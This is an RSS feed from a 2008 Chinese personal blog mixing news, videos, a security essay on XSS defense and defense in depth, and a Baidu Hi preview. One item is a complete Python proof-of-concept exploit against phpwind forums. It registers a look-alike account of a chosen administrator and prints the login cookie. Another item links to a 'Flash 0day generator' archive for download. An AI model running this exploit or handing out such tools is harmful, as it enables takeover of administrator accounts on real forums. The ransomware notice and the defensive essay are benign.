<?xml version="1.0" encoding="UTF-8" ?>
<rss version="2.0">
<channel>
<title><![CDATA[It's My Life]]></title> 
<link>http://www.huniao.com/index.php</link> 
<description><![CDATA[人生无奈 但亦美丽]]></description> 
<language>zh-cn</language> 
<copyright><![CDATA[It's My Life]]></copyright>
<item>
<link>http://www.huniao.com/read.php?37</link>
<title><![CDATA[卡巴斯基征集力量破解高加密敲诈病毒]]></title> 
<author>huniao &lt;admin@yourname.com&gt;</author>
<category><![CDATA[杂而乱]]></category>
<pubDate>Mon, 16 Jun 2008 12:51:47 +0000</pubDate> 
<guid>http://www.huniao.com/read.php?37</guid> 
<description>
<![CDATA[ 
	&nbsp;&nbsp;&nbsp;&nbsp; 近日,卡巴斯基实验室宣布启动名为“Stop Gpcode”的全球主动对抗敲诈病毒计划,此次主动防御的目标是破解病毒Virus.Win32.Gpcode.ak中运用的RSA1024位密钥,该 病毒是危险的敲诈病毒——Gpcode的最新版本.Virus.Win32.Gpcode.ak的特征码已于2008年6月4日添加到卡巴斯基实验室反病 毒数据库中.<br/><br/>据悉,Virus.Win32.Gpcode.ak是Gpcode病毒的一个新变种.不同版本的Gpcode病毒能够使用不同密钥长度的RSA强加密算法加密用户各种类型的文件(如:.doc、.txt、.pdf、.xls、.jpg、. png、.cpp、.h等).一旦在计算机中加密文件以后,病毒会自动生成一条信息通知用户文件已被加密,并要求用户付款购买解密程序.而新衍生的 Gpcode.ak使用了1024位的RSA加密算法拉进行加密,能够在受害的设备中加密文件后会添加一个._CRYPT的扩展名,同时在同一个文件夹中放置一个名为!_READ_ME_!.txt的文本文件.打开该文本后,犯罪分子会告诉受害者文件已被加密并向其兜售解码器.<br/><br/>目前,被 Gpcode.ak加密的文件还不能被解密,不仅由于其密码的位数增至1024位还因为在其文件的执行中未找到任何差错.因此,就目前的情况来看,解密这些加密文件的唯一办法就是使用只有编写者才有的的私钥.据估计,如果加密算法正确执行,一台具有2.2 Ghz处理器的PC机需要用上大约30年的时间来破解一个660位的密钥.Gpcode的编写者花了两年的时间来改进此病毒:之前的差错得以修补,并且将密码的位数从660位增加至1024位.<br/><br/>卡巴斯基实验室的病毒分析师们通过深入的密钥分析,能够对该类病毒使用的私钥进行破解,使得卡巴斯基实验室成功地发现并防御了Gpcode的各类早期变种.到目前为止,卡巴斯基实验室的病毒研究员已经能够破解长达660位的密钥.然而,该病毒的新版本Virus.Win32.Gpcode.ak采用了一个1024位的密钥.而破解RSA1024位的密钥是一个极其复杂的密码学问题.<br/><br/>卡巴斯基实验室诚邀各位密码学专家、政府研究机构、研究所、其他反病毒厂商以及独立研究人员一起努力来解决这个问题.卡巴斯基实验室已经做好准备为愿意参加到“Stop Gpcode”计划中来的各位专家提供有关处理情况的额外信息,并展开开放式的对话.实验室已拥有关于此病毒的充分信息来帮助各位专家展开破解RSA密钥的工作.<br/><br/>欲配合参与到此次活动的各位人士可以访问我们为此次活动专门创建的“Stop Gpcode”论坛,网址为:<a href="http://forum.kaspersky.com/index.php?showforum=90." target="_blank">http://forum.kaspersky.com/index.php?showforum=90.</a><br/><br/>如果您的计算机遇到上述被感染的情况,我们建议您使用其他连接互联网的计算机联系我们.请记住不要重启或关闭疑似感染的设备.请将邮件发送stopgpcode@kaspersky.com,并请在邮件中列出以下信息:<br/><br/>感染的日期&时间<br/><br/>设备被感染前5分钟的所有操作,包括:执行过的程序、访问过的网站<br/><br/>卡巴斯基实验室会尽力帮助您恢复任何被加密的数据.
]]>
</description>
</item><item>
<link>http://www.huniao.com/read.php?36</link>
<title><![CDATA[K1 World Max 2008-Yasuhiro Kido vs. Chi Bin Lim]]></title> 
<author>huniao &lt;admin@yourname.com&gt;</author>
<category><![CDATA[杂而乱]]></category>
<pubDate>Fri, 06 Jun 2008 09:54:21 +0000</pubDate> 
<guid>http://www.huniao.com/read.php?36</guid> 
<description>
<![CDATA[ 
	小日本拳王的正顶膝，很猛!小日本这些年在自由搏击项目上取得的成就，有目共睹啊<br/><br/><object width="425" height="344"><param name="movie" value="http://www.youtube.com/v/2w02pNnOB5c&hl=en"></param><embed src="http://www.youtube.com/v/2w02pNnOB5c&hl=en" type="application/x-shockwave-flash" width="425" height="344"></embed></object><br/><br/><br/><br/><br/><br/>
]]>
</description>
</item><item>
<link>http://www.huniao.com/read.php?35</link>
<title><![CDATA[phpwind管理权限泄露漏洞利用程序]]></title> 
<author>huniao &lt;admin@yourname.com&gt;</author>
<category><![CDATA[杂而乱]]></category>
<pubDate>Fri, 06 Jun 2008 09:46:58 +0000</pubDate> 
<guid>http://www.huniao.com/read.php?35</guid> 
<description>
<![CDATA[ 
	Python代码<br/><br/><div class="code">1. # -*- coding: gb2312 -*-<br/> 2. import urllib2,httplib,sys<br/> 3. httplib.HTTPConnection.debuglevel = 1<br/> 4. cookies = urllib2.HTTPCookieProcessor()<br/> 5. opener = urllib2.build_opener(cookies)<br/> 6. <br/> 7. <br/> 8. def banner():<br/> 9. print &quot;&quot;<br/> 10. print &quot;########################################################&quot;<br/> 11. print &quot;Phpwind所有版本管理权限泄露漏洞利用poc&quot;<br/> 12. print &quot;Copyright (C) 2006&quot;<br/> 13. print &quot;jianxin@80sec.com&quot;<br/> 14. print &quot;80sec是一个新的致力于web安全的小团体&quot;<br/> 15. print &quot;<a href="http://www.80sec.com&quot;" target="_blank">http://www.80sec.com&quot;</a><br/> 16. &#91;separator&#93;<br/> 17. def usage():<br/> 18. banner()<br/> 19. print &quot;Usage:&#92;n&quot;<br/> 20. print &quot; $ ./phpwind.py pwforumurl usertoattack&#92;n&quot;<br/> 21. print &quot; pwforumurl 目标论坛地址如<a href="http://www.80sec.com/&quot;" target="_blank">http://www.80sec.com/&quot;</a><br/> 22. print &quot; usertoattack 目标拥有权限的斑竹或管理员&quot;<br/> 23. print &quot; 攻击结果将会在目标论坛注册一个和目标用户一样的帐户&quot;<br/> 24. print &quot; 最新版本可以使用uid登陆&quot;<br/> 25. print &quot; 其他版本可以使用cookie+useragent登陆&quot;<br/> 26. print &quot;########################################################&quot;<br/> 27. print &quot;&quot;<br/> 28. <br/> 29. <br/> 30. argvs=sys.argv<br/> 31. usage()<br/> 32. <br/> 33. <br/> 34. data = &quot;regname=%s%s1&amp;regpwd=@80sec&amp;regpwdrepeat=@80sec&amp;regemail=foo@foo.com&amp;regemailtoall=1&amp;step=2&quot; % (argvs&#91;2&#93;,&quot;%c1&quot;)<br/> 35. pwurl = &quot;%s/register.php&quot; % argvs&#91;1&#93;<br/> 36. <br/> 37. request = urllib2.Request(<br/> 38. url = pwurl ,<br/> 39. headers = &#123;&#039;Content-Type&#039; : &#039;application/x-www-form-urlencoded&#039;,&#039;User-Agent&#039;: &#039;80sec owned this&#039;&#125;,<br/> 40. data = data)<br/> 41. <br/> 42. f=opener.open(request)<br/> 43. headers=f.headers.dict<br/> 44. cookie=headers&#91;&quot;set-cookie&quot;&#93;<br/> 45. try:<br/> 46. if cookie.index(&#039;winduser&#039;):<br/> 47. print &quot;Exploit Success!&quot;<br/> 48. print &quot;Login with uid password @80sec or Cookie:&quot;<br/> 49. print cookie<br/> 50. print &quot;User-agent: 80sec owned this&quot;<br/> 51. except:<br/> 52. print &quot;Error! <a href="http://www.80sec.com&quot;" target="_blank">http://www.80sec.com&quot;</a><br/> 53. print &quot;Connect root#80sec.com&quot;<br/></div>
]]>
</description>
</item><item>
<link>http://www.huniao.com/read.php?34</link>
<title><![CDATA[Flash 0day生成器]]></title> 
<author>huniao &lt;admin@yourname.com&gt;</author>
<category><![CDATA[杂而乱]]></category>
<pubDate>Fri, 06 Jun 2008 09:44:25 +0000</pubDate> 
<guid>http://www.huniao.com/read.php?34</guid> 
<description>
<![CDATA[ 
	下载地址：<a href="http://201314.free.fr/attachments/200805/flash0day.rar" target="_blank">flash0day.rar</a><br/><br/><a href="http://www.huniao.com/attachment.php?fid=15" target="_blank"><img src="http://www.huniao.com/attachment.php?fid=15" class="insertimage" alt="点击在新窗口中浏览此图片" title="点击在新窗口中浏览此图片" border="0"/></a>
]]>
</description>
</item><item>
<link>http://www.huniao.com/read.php?33</link>
<title><![CDATA[安全幻想曲2008 (PST By axis)]]></title> 
<author>huniao &lt;admin@yourname.com&gt;</author>
<category><![CDATA[杂而乱]]></category>
<pubDate>Tue, 25 Mar 2008 12:11:57 +0000</pubDate> 
<guid>http://www.huniao.com/read.php?33</guid> 
<description>
<![CDATA[ 
	<span style="color: #FF0000;"><strong>Ph4nt0m Security Team</strong>的webzine第一期的序言 </span> PST webzine第一期下载见附件<br/><br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;==Ph4nt0m Security Team==<br/> <br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Issue 0x01, Phile #0x04 of 0x06<br/> <br/><br/>&#124;=---------------------------------------------------------------------------=&#124;<br/>&#124;=----------------------=[&nbsp;&nbsp;安全幻想曲2008 ]=---------------------=&#124;<br/>&#124;=---------------------------------------------------------------------------=&#124;<br/>&#124;=---------------------------------------------------------------------------=&#124;<br/>&#124;=--------------------=[&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;By axis&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ]=--------------------=&#124;<br/>&#124;=--------------------=[&nbsp;&nbsp; <axis_at_ph4nt0m_dot_org> ]=---=&#124;<br/>&#124;=---------------------------------------------------------------------------=&#124;<br/><br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;我见过的大多数安全人员，都对技术有着一种狂热，甚至是一种偏执。这种情绪在做安<br/>全研究员的时候是非常有好处的，因为作为研究员，可能要偏执考虑到一些极端的情况。这<br/>种钻研精神，是光靠勤奋所无法达到的。但是在甲方做安全的话，可能更多时候需要的就不<br/>是狂热，而是掌握平衡的艺术。在商业利益与安全性发生冲突时，如何处理好这个平衡，是一<br/>个关键。<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;举一个简单的例子来说，眼下最流行的XSS攻击，其修补方案从总体上来说，大致可以分<br/>为escape output和filter input两种。对于狂热的安全人员来说，当然是恨不得把网站全<br/>部弄成静态的，输出都采用escape output，全部输出纯文本，就天下太平了。然而现实与理<br/>想总是有差别的，首道难关就是网站肯定会有些富文本的需求。<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;当安全和需求相抵触时，一定是安全给商业需求让路。这里要避免一个误区，就是安全<br/>应该是为需求而服务的，而不是成为需求的障碍。其实这个观点大多数人都心知肚明，但是<br/>在实际操作起来的时候往往会事与愿违。<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;再回到富文本上来，当需求决定需要有富文本输出的时候，狂热的安全人员（下称为狂战<br/>士吧）就只好退而求其次，要求对富文本做filter input，对其他没有富文本的地方做escape <br/>output。接下来问题来了，对于程序员来说，富文本往往采用了一些第三方的，或者是基于第<br/>三方的富文本编辑器，还有的是自己实现了一个。而这些富文本编辑器，往往在考虑<br/>xss defense的时候有所欠缺。这时候采用什么样的策略来做filter input，就成为了新的<br/>问题。<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;第一个难关就是程序员会拉上商业，一起来和狂战士PK，说filter input很容易误杀客<br/>户的正常操作，还会影响到性能。当然这小小的难关还难不倒狂战士。狂战士往往会轻蔑的<br/>一笑，然后把风险推到商业上，说出了问题让他背黑锅之类。这种狠话一放出来，商业往往就<br/>会退缩了，毕竟狂战士这么个狠角色是摆在那里的。所以最后会决定让程序员去整filter。<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;于是程序员简单写了个基于正则的blacklist，并且禁用了部分标签，比如script。狂战<br/>士这时候又蹦了出来，对程序员指手画脚，要求禁用style，因为这玩意太难控制了，黑客有几<br/>百种利用style的方式；狂战士还说，基于正则的匹配这个魔法等级太低了，要换个高级魔法，<br/>比如个语法分析器，类似html purify这种，还要有log analysis和realtime monitor功能。<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;一般到了这个时候，程序员对狂战士的忍耐已经差不多到极限了，因为甲方网站很少以<br/>安全为主要考核因素，没人会认为一个视频网站或者是交友网站的安全需要做的比FBI更好，<br/>因为没那么大的成本投入。于是程序员说要释放这么个高级魔法需要一个团的程序员配合，<br/>还需要召唤很长时间才能放出来，所以狂战士的这个非常牛B的魔法无法完成。而一般在这<br/>个时候，程序员往往会用啥性能和稳定性之类的因素来忽悠狂战士，说这种魔法一般有一定<br/>概率会反噬，没整好就把自己整残了。<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;狂战士无奈之下，只好同意程序员实现一部分的魔法，filter部分过滤完整有效就行了。<br/>做好这个之后，狂战士还让程序员去对没有富文本需求的地方使用escape output。程序员<br/>这时候对狂战士已经忍无可忍了，因为由于以前从来没有注意过xss这方面的问题，所以需要<br/>escape的地方是以“千”或者是“万”为单位的，多如牛毛。于是程序员开始消极怠工，并且开<br/>始诉苦。这条路走不通了，狂战士只好开始寻求更好的方案。<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;后来狂战士回家睡了一觉，在梦中有仙人传授武艺，于是马上想到了新的办法。第一招<br/>是filter output，不过这个扯淡的方法根本属于yy，因为对服务器压力太大。第二招是使用<br/>WAF，就是web application firewall，开个虚拟补丁，这样程序员不补也能搞定web漏洞。不<br/>过这样就依赖于WAF的规则了，而且治标不治本。看来昨晚那个仙人估计是灶君一类低级的<br/>小神，尽出馊点子。看来狂战士还得继续和程序员PK下去了。<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;可以见到，那些牛圈里的狂战士常认为是“奇技淫巧”的XSS问题里，有这么多头疼的问题。<br/>简单的问题变得越来越复杂。<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;安全是一个持续的过程（process）。既然是过程，就会有第一步、第二步 ... 第N步，有<br/>一个持续的概念在里面，不能今天整了，明天就不管了。今天的安全并不代表明天的安全，新<br/>的技术和应用在不断发展，就会不断带来新的问题。经常看到一个升级反而把漏洞升级出来<br/>的例子。所以安全是一个持续的对抗过程，hacking与anti-hacking的过程，广义来说，更是<br/>一个弱化风险的过程。<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;很多BOSS往往都会这么问狂战士：我上了这个720安全卫士是不是桌面安全就不用管了？<br/>我上了这个卖红茶IPS是不是就能挡住所有刺客入侵了？ 狂战士这时候很无奈的说：不行，还<br/>是有很多trojan和rootkit可以bypass主动防御，很多shellcode和0day可以anti IPS。 于<br/>是BOSS很生气的说： 那我花这么多钱买这个做啥？ 狂战士一般会忽悠他说：上了这个可以解<br/>决90%的攻击。 于是BOSS会很不满意，让狂战士出技术分析报告，一定要有充分的理由才行，<br/>狂战士往往要面对这种烦恼。<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;其实BOSS的这种观点是一种急功近利的想法，没有认识到安全是一个过程，并且是一个<br/>持续改进的过程。不是买个box就能解决问题的。没有100%的安全，有漏洞的地方太多了。<br/>经常有魔法师用木桶原理来阐述安全问题，但其实很多时候，连木板在哪里，到底那块木板才<br/>是短板，都没有一个很清晰的认识，因为很多时候根本无法量化，所以狂战士的工作经常陷入<br/>误区。板子太多了，系统、网络、用户、应用、数据、桌面......<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;放眼看去，全是短板，每块板子都能让刺客或盗贼轻松的进来，偷走核心数据或者弄摊网<br/>站然后扬长而去。或者各种短板互相组合，让问题变得更加扑朔迷离。<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;前面说的WAF就是一种比较功利的做法，虽然厂商经常会蹦出来说这玩意是需要有专人<br/>维护的，也是一个持续的过程。但实际上很多购买WAF的用户都没有好好的去做这个过程。<br/>其实WAF、IPS最大的软肋不是在没人跟进上，而是在于其是串联的网络上的，特别是开了虚<br/>拟补丁的阻断模式的时候。这对于高可用性的应用来说，绝对是无法忍受的。没人敢背这个<br/>误杀的黑锅。要是因此导致了PV下降，可能老板就要喊到办公室去喝茶了。不过WAF也不是<br/>完全没用，如果能够用好的话，对于网站还是还是很有帮助的，至少在monitor和攻击流量分<br/>析上起着积极的意义。不过前提是用好。<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;刚才说了安全是一个过程(Process)，其实有人跟进这个过程还不够，下面还要重点说说<br/>深度防御的思想。经常看到YY小说的作者在写到黑客攻防的时候，说到XXX在xx分钟内就突<br/>破了N道防火墙，N大于100；变形金刚里也这么有这种场景。其实这纯粹是扯淡，没事整那么<br/>多防火墙做什么，无端影响了可用性。不过YY作者深度防御的理念还是正确的，只是他不知<br/>道那玩意不应该单纯叫防火墙，要想表达这个思想，可以整个专业名词，比如：多层防御体系。<br/>这样装B就可以装的比较像样了。举例来说，可以在应用层校验用户输入数据，DB层面检查每<br/>条sql，操作系统上细分权限，服务最少化，网络上防御arp spoof，加密传输通道，做好ACL…类<br/>似措施还有很多，防御的方案交叉层叠起来，就能起来一个比较好的保护效果。<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;不过偏偏还有不识趣的，比如前面的很多程序员都会说，我都已经做了filter input，还<br/>要escape output做啥。狂战士一般听到后会有想要狂化的冲动。按耐住狂化，告诉程序员，<br/>说filter input可能会做不干净，会被bypass，毕竟如果遇到一个手执绝世0day(bypass <br/>filter)的9级刺客，什么牛B的防御魔法都挡不住，所以能escape output的地方，最好escape<br/>掉，这样最干净。可是即便是这样做好了，还是有些会有很难处理和发现的地方，比如在DOM<br/>里的XSS，比如在JS里面一些写的很BT的地方，等。这些只能靠肉眼去看了。PK还得进行下去。<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;但是程序员还是不能很好的理解，他们跑出来说：我这里做了完善的access control，只<br/>有管理员才看的到，这里就算有注射有跨站就随他去了，不需要修复。想偷这种懒的人其实<br/>不在少数。这种想法违背了深度防御的思想。先姑且不论如果管理员密码泄露，或者管理员<br/>是个内鬼的情况。如果刺客通过注射拿到了管理员密码，或者是直接通过XSS和CSRF来对后<br/>台进行注射，那么前面的access control就完全没作用了。<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;在一定程度上，是可以容忍风险的存在的，但是从长期来看，这种做法是非常不可取的。<br/>比如有的管理员会说防火墙只允许80端口，那么RPC漏洞或开其他端口的应用漏洞是否就可<br/>以不补了。也许一时来说是没什么问题，但是如果放置不管将导致没有人来维护漏洞，也许<br/>哪天的防火墙策略变更，或者来自内部系统的威胁，都有可能导致当时看起来无害的漏洞被<br/>利用。而这种做法的一个后果往往是难以检查原因，就是说咋死的都不知道。所以这又回到<br/>了开始的话题：安全是一个持续的过程。<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;在灌输完深度防御的思想给程序员以后，狂战士又被另外一种程序员打击到崩溃了。面<br/>对满目都是红色的扫描报告，他们说:我这个xxx ftp没漏洞，除非狂战士可以证明黑客能搞<br/>进来拿到shell。一般狂战士听到这种要求，狂化的概率在80%以上。首先，不是只有能拿到<br/>shell的才叫漏洞。一个dos可能会造成业务的中断，一个infomation leak可能会为后续攻<br/>击带来便利，等等。<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;面对scan report以及CVE查询出来的漏洞，大部分都是没有现成的exp能够利用的，而且<br/>要利用漏洞可能有各种苛刻的条件，比如要求本地交互shell啊，或者要求有帐户之类。而更<br/>多的时候，漏洞根本连细节的都没有，只有一个漏洞公告里一个简单的划分critical，标红。<br/>就算有exp，可能还要考虑到exp的稳定性和成功率、语言版本啥的，打过去也不一定能成功。<br/>更何况狂战士无法处心积虑了为了POC给程序员看，而花费大量的精力来追求一个可能没有<br/>结果的漏洞。<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;但是无法POC不代表就没有风险了。我们的目标是要保证一个系统长期的在任何情况下<br/>都能安全运行，机密数据不会外泄，业务不会中断。所以这种程序员犯的错误就是偷换了概<br/>念，把威胁范围缩小了，用个体来代替全局。很多时候威胁可能来自内部，可能来自误操作，<br/>可能来自其他的风险。要说服这种程序员很辛苦，只能够靠长期的“忽悠”，来慢慢感化他们，<br/>要是运气好还能做出一两个POC来震撼下他们，刘震撼(ZhenHan.Liu)就是为此而生的。佛曰：<br/>我不下地狱谁下地狱。<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;作为一个优秀的狂战士，往往要有相当程度的mission impossible的修为。很多时候，<br/>需要为浏览器漏洞、操作系统漏洞擦屁股，不然最后吃亏的还是自己的用户。面对钓鱼和诈<br/>骗，很多时候那些认为web安全是“奇技淫巧”狂战士们认为解决方案是impossible的，认为<br/>no patch for stupid。比如phishing，诚然，如果有一个一劳永逸的方案，那么这种完美魔<br/>法要是放出来了绝对可以获得圣阶魔导师的称号。但是YY归YY，现实归现实。狂战士们很头<br/>疼这种问题，但是却不得不去面对它。<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;魔法最终还是放出来了，可惜不完美。目前anti-phishing的魔法，有整到浏览器里内置<br/>对抗的(IE7/8)，也有浏览器toolbar、扩展的，有在IM里做过滤的，还有穷举malicious sites<br/>的，更有发动人民战争来维护一个blacklist的，其难度和成本从低到高什么都有，不过基本<br/>都无法一次性解决问题。比较有创意的魔法属于yahoo发明的sign seal，基于认证机器的原<br/>理来识别真实网站，不过这个方法的缺陷在于需要长期教育用户，实际使用效果不一定好。<br/>yahoo还整了个domainkey技术来在邮件里对抗phishing，不过这个缺陷更明显，需要邮件服<br/>务商支持。yahoo的狂战士挺有想法的，就是太理想化了一点。<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;说到安全世界的另外一股强大力量不能不提教廷，这个宗教从精神上统治了安全世界，<br/>一群群红衣主教们整出来了一堆标准、规范比如BS7799之类来帮助狂战士们更好的忽悠他<br/>们的BOSS。其实标准是死的，主教们的出发点是好的，不过这些标准啥的就和秘籍差不多，狂<br/>战士们以为他们读明白了，其实很少人真正读懂了。那玩意如果拿来忽悠BOSS们确实是一套<br/>套的，但用在实处则有一个本地化的过程。必须要把标准之类的东西和实际情况结合起来，<br/>不然就只能停留在忽悠的层面上。<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;最能体现问题的出在编码规范上。可能有N个权威的机构都出了他们自己的code规范，<br/>或者某些狂战士佣兵团（安全公司）也自己整了套。不过在具体使用的时候，很多狂战士都是<br/>拿了一套去用在所有的公司身上，其实这样的结果就是到最后没有程序员遵守用那玩意，因<br/>为在实际情况中往往不好用。每个公司都有自己的体系、环境和编码习惯。系统的designer<br/>和architect只要不是小白一般都或多或少的会考虑点安全风险，规范只有本地化以后才能<br/>很好的用起来，不然绝对会水土不服。所以要是再遇到什么安全公司拿标准、规范来忽悠的<br/>时候，狂战士们就要睁亮了眼睛了！<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;胡侃瞎吹了这么多其实也没说到重点，不过重点已经不是本文要讲的事情了，想要讲的<br/>东西还有很多，也许以后会陆续写出来。狂战士是份很好的职业，希望有更多的狂战士甚至<br/>是半兽人朋友能够加入我所在的狂战士佣兵团！<br/><br/><br/>-EOF-<br/><br/><a href="attachment.php?fid=14">点击这里下载文件</a><br/>
]]>
</description>
</item><item>
<link>http://www.huniao.com/read.php?32</link>
<title><![CDATA[百度Hi聊天工具内测报告。先睹为快]]></title> 
<author>huniao &lt;admin@yourname.com&gt;</author>
<category><![CDATA[杂而乱]]></category>
<pubDate>Sun, 02 Mar 2008 02:41:59 +0000</pubDate> 
<guid>http://www.huniao.com/read.php?32</guid> 
<description>
<![CDATA[ 
	百度HI功能：<br/>百度Hi是一款集文字消息、音视频通话、文件传输等功能的即时通讯软件，通过它您可以方便地找到志同道合的朋友，并随时与好友联络感情。<br/><br/>百度好友：预先导入百度好友，并随时与他们对话。<br/>第一次登录百度Hi时，系统会自动导入您的百度空间好友。<br/>待对方使用百度Hi后，您就可以与他们即时沟通了！<br/><br/><br/>兴趣搜人：不管多少种爱好，Hi都能找到与您志趣相投的人。<br/>您可以通过兴趣爱好、血型、星座等多种组合找到与您最投机的朋友，与他们分享、交流！<br/>只需点击主面板下方的“找朋友”打开“搜人”页面，按照提示操作即可。 <br/><br/><br/>兴趣群组：轻松加入或创建兴趣群组，聚合您的同趣好友。<br/>您是否为召集一次帖吧聚会而烦恼？百度Hi兴趣群组为志同道合的吧友们提供了一个广泛交流、畅所欲言的场所。<br/>您可以同时参加20个群组，每个群组支持多达256个成员！无论您有多少种兴趣爱好，总能找到合适的群组。<br/><br/><br/>百度空间：一键进入您的百度空间，即时提醒好友空间更新。<br/>点击主面板上的空间图标，无需重新登录，即可进入您的空间首页。<br/>如果联系人头像左侧出现，那一定是好友的空间更新拉，这可是抢沙发的利器哦！<br/><br/><br/>密友排行：可按联络频繁度对好友排序，您的“密友”一目了然。<br/>研究表明，平日里与您经常联系的人数不超过20个。您是否为在众多联系人中找到这20个“密友”而痛苦？在百度Hi中选择“按联系频度排序”，与您联系最频繁的好友便一目了然！<br/><br/><br/>邮箱登录：记不住用户名？常用的电子邮件地址也可以登录。<br/>您是否为申请过众多网络帐号而遭遇记忆烦恼？开通“邮件地址登录”功能，就可以使用最常用的电子邮件地址登录百度Hi了。 <br/><br/>加图：<br/><a href="http://photo1.bababian.com/upload7/20080229/FA2F1650DA30755080339F1328B871A3_500.jpg" target="_blank"><img src="http://photo1.bababian.com/upload7/20080229/FA2F1650DA30755080339F1328B871A3_500.jpg" class="insertimage" alt="点击在新窗口中浏览此图片" title="点击在新窗口中浏览此图片" border="0"/></a><br/><a href="http://photo1.bababian.com/upload7/20080229/5B7CD64ADC3C804DF3F3208491DB358C_500.jpg" target="_blank"><img src="http://photo1.bababian.com/upload7/20080229/5B7CD64ADC3C804DF3F3208491DB358C_500.jpg" class="insertimage" alt="点击在新窗口中浏览此图片" title="点击在新窗口中浏览此图片" border="0"/></a><br/><a href="http://photo1.bababian.com/upload7/20080229/C0405E56189358AAC633322BE5669338_500.jpg" target="_blank"><img src="http://photo1.bababian.com/upload7/20080229/C0405E56189358AAC633322BE5669338_500.jpg" class="insertimage" alt="点击在新窗口中浏览此图片" title="点击在新窗口中浏览此图片" border="0"/></a><br/><a href="http://photo1.bababian.com/upload7/20080229/9B46C1647EAB3A577AAD2E36F72BBF8F_500.jpg" target="_blank"><img src="http://photo1.bababian.com/upload7/20080229/9B46C1647EAB3A577AAD2E36F72BBF8F_500.jpg" class="insertimage" alt="点击在新窗口中浏览此图片" title="点击在新窗口中浏览此图片" border="0"/></a><br/><a href="http://photo1.bababian.com/upload7/20080229/DDAE45DCC1040EC792D018CCC4E13708_500.jpg" target="_blank"><img src="http://photo1.bababian.com/upload7/20080229/DDAE45DCC1040EC792D018CCC4E13708_500.jpg" class="insertimage" alt="点击在新窗口中浏览此图片" title="点击在新窗口中浏览此图片" border="0"/></a><br/><a href="http://photo1.bababian.com/upload7/20080229/440A6EB1503E0701A0282B1AA4A5CD12_500.jpg" target="_blank"><img src="http://photo1.bababian.com/upload7/20080229/440A6EB1503E0701A0282B1AA4A5CD12_500.jpg" class="insertimage" alt="点击在新窗口中浏览此图片" title="点击在新窗口中浏览此图片" border="0"/></a><br/><a href="http://photo1.bababian.com/upload7/20080229/BBA8E70AB1A104A14D35794B682274D3_500.jpg" target="_blank"><img src="http://photo1.bababian.com/upload7/20080229/BBA8E70AB1A104A14D35794B682274D3_500.jpg" class="insertimage" alt="点击在新窗口中浏览此图片" title="点击在新窗口中浏览此图片" border="0"/></a><br/><br/>BaiduHi 1.0 Beta1已经开始提供下载,该软件版本只供安装体验,暂不允许外部用户注册使用!<br/><br/><a href="http://dl.pconline.com.cn/html_2/1/92/id=49478&pn=0.html" target="_blank">http://dl.pconline.com.cn/html_2/1/92/id=49478&pn=0.html</a><br/><br/>新浪科技今日获得内测版“百度HI”的界面图片，并通过首批参与内测的百度人士获得一份最新鲜的百度Hi使用感受。据介绍，百度Hi具备了IM工具的所有常用功能，且与百度其他产品实现融合。<br/><br/>　　据透露，百度Hi支持直接用百度ID直接登录，最多支持1000个好友，支持视频和语音聊天功能，可以建立群组、多人聊天、传送大文件，还可以和贴吧、知道、空间的好友进行联络。<br/><br/>　　此外，百度Hi面板结合了百度搜索功能，还具备了“找朋友”功能。综合看出，百度Hi产品的定位是为打通、互联百度各款产品，满足其社区用户需求。(全智)<br/><br/>　　附，百度人士小结几点“百度Hi”使用心得。<br/><br/>　　1、百度Hi主界面及对话框设计简洁，没有弹出广告，有专门皮肤下载页。<br/><br/>　　2、支持passport式ID，非QQ那种号码式，直接用百度ID就可以登录，也可以选择关联邮箱。<br/><br/>　　3、百度Hi最多支持1000个好友。<br/><br/>　　4、可以建立群组、可以多人聊天、可以传送大文件。<br/><br/>　　5、可以和贴吧、知道、空间的好友进行联络。<br/><br/>　　6、面板结合了百度搜索，支持网页搜索、图片搜索、MP3搜索等。<br/><br/>　　7、具备了“找朋友”功能。<br/><br/>　　8、像QQ一样支持多帐号登录。
]]>
</description>
</item><item>
<link>http://www.huniao.com/read.php?31</link>
<title><![CDATA[雪中的家园]]></title> 
<author>huniao &lt;admin@yourname.com&gt;</author>
<category><![CDATA[杂而乱]]></category>
<pubDate>Sat, 16 Feb 2008 12:19:05 +0000</pubDate> 
<guid>http://www.huniao.com/read.php?31</guid> 
<description>
<![CDATA[ 
